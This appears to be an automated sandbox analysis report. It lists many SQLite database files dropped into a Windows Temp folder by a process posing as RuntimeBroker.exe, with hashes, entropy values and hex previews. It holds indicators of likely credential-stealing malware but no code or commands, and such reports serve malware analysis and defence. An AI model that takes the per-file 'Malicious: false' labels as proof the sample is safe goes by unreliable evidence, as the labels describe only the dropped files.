File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3GRraazEPs

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3S1iVKk3Oq

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3VvF1wiVEd

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3ZAJpvIZox

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3hDm9jrtsr

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\47d7fhW6Su

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4C8vlfUZLp

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4n1B3EoqiD

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4vX6yEeh4Q

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\53ceS1JO51

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\56U6BA5wyk

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5LCUsm8L7e

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5SBhX0QrL9

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\66rc02gXRy

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6TeLGRJDuj

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6Wymoj5Fp1

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6cfNPUl7MV

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.293660689688185
Encrypted:	false
SSDEEP:	3:cm9NTHfQk:cm9Nbb
MD5:	9A7541C883AC07E2DEB75C8A8F762ABF
SHA1:	B714E84F6179400C60B11798435B436DB3DCC0B0
SHA-256:	03AC60EFB1C97CAA9F68B4941F33D6E97EB2FE7D46A44FC4CA08504222D64269
SHA-512:	82019B2950675346BA4E1FF383835FF85EEF3AB9A39FCCEF72ABD3D7B155B8F975CB3577892D3FA45508BE64CBE3DD3F54F502ED06FB747D73188966F5949BEC
Malicious:	false
Preview:	28klMMSgTRGqQEmMqPrbkUuXc

C:\Users\user\AppData\Local\Temp\6fL9GH59ih

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6saIdzTFCw

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\71vf3aESwR

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\78rjzcsuXd

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7F4LQWpdTv

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7i9RWXX0bH

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7y7NgGczeq

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8IEToNPEvB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8MsXR3R2IV

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
